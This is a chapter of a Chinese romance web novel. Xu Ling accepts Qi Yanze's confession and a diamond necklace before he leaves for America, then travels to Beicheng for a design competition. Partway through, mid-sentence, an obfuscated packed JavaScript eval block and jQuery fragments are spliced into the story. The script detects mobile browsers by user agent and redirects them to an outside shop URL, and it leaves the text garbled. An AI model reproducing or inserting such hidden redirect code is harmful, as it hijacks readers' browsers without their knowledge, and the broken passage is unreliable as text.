32. 钻石项链

作品:《盼长夏[久别重逢]

    云嘉喝得酩酊大醉,许聆把她送到家后打了辆的士,手机没电关机了,下车时从包里各个口袋翻出零零散散的纸币才把车费给付了。


    关上车门,许聆朝巷子里走,巷口的风扑在她裸露的手腕上,带着刺骨的凉,抬眼时,脚步倏然顿住,她紧紧攥住帆布包的袋子站在巷口。


    老式路灯的光线晕开一层暖黄的雾,将他的身影拉得颀长。


    祁砚泽穿了件浅灰色的风衣,下摆被风掀起,他靠在院子的外墙,低着头不知在想什么,指尖夹着的烟燃着一点猩红,明明灭灭。


    他会抽烟?


    像是感应到什么,男人抬头,视线相撞的刹那,他喉结动了动,没说话,深邃的眸子里翻涌着她读不懂的情绪。


    许聆只觉他目光沉沉。


    朝他走近,祁砚泽掐灭了手里的烟。


    两人谁也没有说话。


    许聆才发现他的原来这么白,白得甚至有点病态。


    “你没回复我的信息,所以......我来了,”他语气带着几分小心翼翼,“你,生气了?”


    他声音带着倦意,像是刚睡醒。


    许聆摇头,举起手机晃了晃,“我手机没电了,你发了什么?”


    男人没说话,目光更沉了。


    她也愣在原地,想着着要不要请他一起进去坐坐?


    正欲开口,话被堵在喉咙里。


    “能抱抱我吗?”他的声音比平时低哑几分,眼尾泛着微红,像是把自己最柔弱的一面毫无保留展现出来。


    “他,怎么了?”


    察觉到他情绪不太对,许聆还是朝他伸开双臂,轻轻抱住他。


    祁砚泽立刻伸手回抱,环住她的腰,下巴抵在她的发顶。


    “别说话,让我抱一会。”


    在他怀里,许聆闻到淡淡的雪松皂角味,还有非常非常淡的消毒水味......


    他平稳有力的心跳传入耳中。


    所以到底是怎么一回事儿?


    才几天不见,怎么像隔了万年?


    难道他现在要表白了?!


    不会吧!


    这么快?


    我还没准备好呢!


    良久,在男人深吸一口气后,终于松开了许聆。


    她的心怦怦直跳,头低着,扫到祁砚泽手中拎着的蓝色袋子,心跳得更快了,像是要跳出胸膛。


    “许聆。”


    “接下来的半年时间,我恐怕不能与你时常见面了。”


    “?”


    她心一沉。


    祁砚泽将手中的袋子往前一递。


    “家里公司出了点状况,我后天要飞美国,估计得忙好一阵子。”


    “所以,答应给你的表白......”


    许聆看着他递出袋子的动作,幻视数月前在苏镇竹亭里的那一幕。


    他也是这样,将礼袋递出。


    还以为是多大点事儿呢,这点小事。


    自己又不是一个小肚鸡肠的人,大家都是成年人了,有自己的事业要忙,祁砚泽不能总围绕着她转啊。


    她爽快地说道:“没事儿,我有那么自私吗?”


    祁砚泽依旧目光沉沉盯着自己。


    “噢,”许聆反应过来,赶紧接过袋子,“就当我接受你的表白!”


    “你......”


    许聆眼睛亮晶晶的,盯着他。


    男人愣住。


    她背过手,向前晃了一下,笑着说:“我说,我答应你的告白啦!上次在瑞士说的话是逗你玩的,谁让你故意整我。”


    其实,这样的场景许聆再喜欢不过。


    不需要昭告天下,也不需要有多热闹。


    两个人在静谧的场合下,完成属于自己的仪式。


    就像这样,挺好。


    许聆伸出手指,提了提祁砚泽的嘴角,“笑一笑,别垮着个脸了。又不是永远见不到了,至于吗?”


    他垂着的眼睫颤了颤,喉结滚了一下,原本紧抿成一条直线的唇线,极缓地、极轻地向上弯了个弧度,发出一声轻笑,被风吹散。


    “我不在的这段时间,你不准移情别恋。”


    “祁砚泽!我在你心中就是这样花心的人?”许聆假装生气,嗔怒道。


    静默之后,二人相视一笑。


    祁砚泽情不自禁伸手揉了揉她的头发,眼角弯弯,“等我回来。”


    ***


    关上大门,许聆脱下鞋子换好拖鞋直奔二楼卧室阳台。


    向下望,祁砚泽仍站在门口。


    女孩举起右手用力摇晃,他抬眼与许聆对视。


    夜深了,她怕打扰邻居,于是用口型说:“快走。”


    又指了指巷口。


    祁砚泽点头。


    许聆一直目送他,直到背影消失在巷口。


    关上阳台门,拉好窗帘,她从包里掏出手机放到床头柜充电,她取下环在手上的蓝色袋子。


    包装袋正中间的几个大写的英文字母她认得。


    是知名顶奢珠宝。


    想起云嘉中午说的价值四百万的项链,许聆抽出盒子的动作停滞。


    不行。


    太草率了。


    必须得“沐浴焚香”。


    于是她小心翼翼把袋子放回床头柜,冲进浴室。


    ***


    洗完澡,吹好头发,手机已充满电,许聆拔下充电头,抱着手机,盘腿坐在床上。


    点开和祁砚泽的聊天框,对面发了一长串的信息。


    全部读完后,许聆提炼出两点信息。


    一是他后天要飞美国,二是以后他可能不能及时回复自己的信息。


    怪不得祁砚泽方才眼神很奇怪,甚至有点小心翼翼。


    原来是怕自己因此生气了。


    能让他如此棘手,公司肯定出了不小的问题。


    她弹出键盘。


    许聆:【没事,你安心工作。】


    把手机扔到一边,许聆抽出项链盒子。


    礼盒以藏蓝为主调,摸着是细腻的荔枝纹肌理,盒子正中央有个锁扣,轻轻掰开,双开的盒内侧是银灰色的绸缎衬面,烫印着品牌标识,低调又精致。


    盒底铺着哑光的黑色绒布,衬得钻石项链更加奢华。


    项链以满钻的网球链为基底,钻石紧密排列,水滴形的主钻在中间。


    许聆双手托起项链,在光线下,切割面折射出的光芒晃得人移不开眼。


    仔细观察了一番后,许聆走到全身镜前,戴上。


    随着脖颈的转动,钻石里迸出细碎的彩光,是那种通透的层次感。


    单看是极美的,只不过,现在穿着睡衣,与这条项链很不符。


    再看了几眼,许聆取下项链,放进盒子。


    她心中没有特别高兴的感觉,钻石项链太昂贵,她戴着也不安心,况且与她日常的休闲风并不搭,没机会带。


    摸着盒子,许聆这才真真切切体会到她与祁砚泽之间的阶级差距有多大。


    她不免担忧他的父母是否会接受自己,毕竟当年自己的父母就是因为阶级差距才分开的。


    这次决赛必须赢而且只能赢,只有赢得冠军后才能有足够的曝光,并且可以获得知名服装集团给个人设计师品牌的资金扶持,变相的说就是投资。


    这才能进一步让品牌的知名度扩大。


    大学时期的导师曾为她的退赛感到惋惜,许聆还记得当初导师说的话。


    “你是我带过这么多学生里最有灵气的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880997|191057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个,你的设计有呼吸感,不是那种循规蹈矩、盲目跟从时尚潮流的设计,并且有极强的个人设计风格。”


    大学四年来,她参加的比赛总能拿奖。


    这也是那家设计公司费那么大劲把许聆挖过去的原因。


    本来当初毕业之际,许聆就打算和同学合伙开一家工作室来着的。只不过因为种种原因,那两位同学最终没有选择创业这条路,而是找了家工资高的公司就职。


    而当时又有高枝抛给她,所以她想着先去公司学习一下,未来再开工作室也不迟。


    所以兜兜转转,她还是回到了创业这条路。


    许聆将盒子装进礼袋,放到衣柜的最深处。


    ***


    周一中午十二点,许聆抵达北城。


    出高铁站,有主办方的人来迎接。


    她走到工作人员在微信上发的位置,这里只有一位二十多岁的短发女士,脖子上挂着工作牌。


    不确定是不是工作人员,保险起见,她还是在微信上确认一下。


    许聆:【请问您是穿着黑色短袖,牛仔裤吗?】


    短发女士抬头,与她对视。


    像是确认了般,双方都走向前。


    “你好,叫我小陈就行。您是繁锦杯的比赛成员吗?”


    “对。”


    “好的~在表上签个字吧。接下来由我来负责送您到酒店!”


    到停车场。


    “您先上车,行李我来放。”


    小陈打开后备箱,作势要提许聆的行李箱。


    “不用不用,太重了。”


    许聆把箱子往后一滑。


    真不是她在讲客气,二十八寸行李箱里塞满了衣服,还是冬季的厚衣服,非常重。


    在高铁上,没抢到放行李的架子,许聆只能把它放在座位之间,一路就这么别扭的坐了五小时。


    她扶了扶眼镜,笑嘻嘻说道:“那咱俩一起提?”


    “1、2、3。”


    数到三时,一起发力,行李箱总算放了进去。


    小陈拍拍手,“上车吧!”


    车子缓缓驶出停车场,走上大路。


    “我先送您到酒店,大概要一个小时,噢对了,您吃午饭了吗?”


    许聆笑着说道:“还没有。”


    早上只吃了个包子,到现在确实饿了。


    “我这儿有面包,您吃不?”说着,她就打开中央储物箱,“挑一挑。”


    “好,谢谢!”


    “害,别客气。我是面包脑袋,就爱囤小面包哈哈哈。”


    小陈自来熟,几句话下来,尴尬的气氛也缓和不少。


    撕开包装袋,咬了一口,许聆看向窗外的景色问道:“小陈,你是北城人吗?”


    “不是哦,我在北城上大学。这次的比赛我是来当志愿者,给自己涨涨见识。你们太厉害了,报名参加比赛的人这么多,能进入决赛的只有十五个。小姐姐,你真厉害!”小陈发自内心地感叹。


    “哎,什么时候我也能参加这种级别的比赛呢......”


    “你也是学服装设计的?”


    小陈点头,语气兴奋,“对啊!我A大的。”


    “好巧,我也是A大的。”


    “哇,那您是学姐了,您是几几届的?”


    她如实回答。


    听完,小陈的眼睛亮了起来。


    “听我们老师说,那届出了一个特别优秀的学生,她大学期间设计的衣服到现在我们老师还拿来做示范呢!”


    “等等,不会就是您吧......”


    小陈仔细想了想,那个常被老师挂在口中的学生好像就是女的,而且也是许聆所说的届数。


    许聆莞尔一笑,没有说话。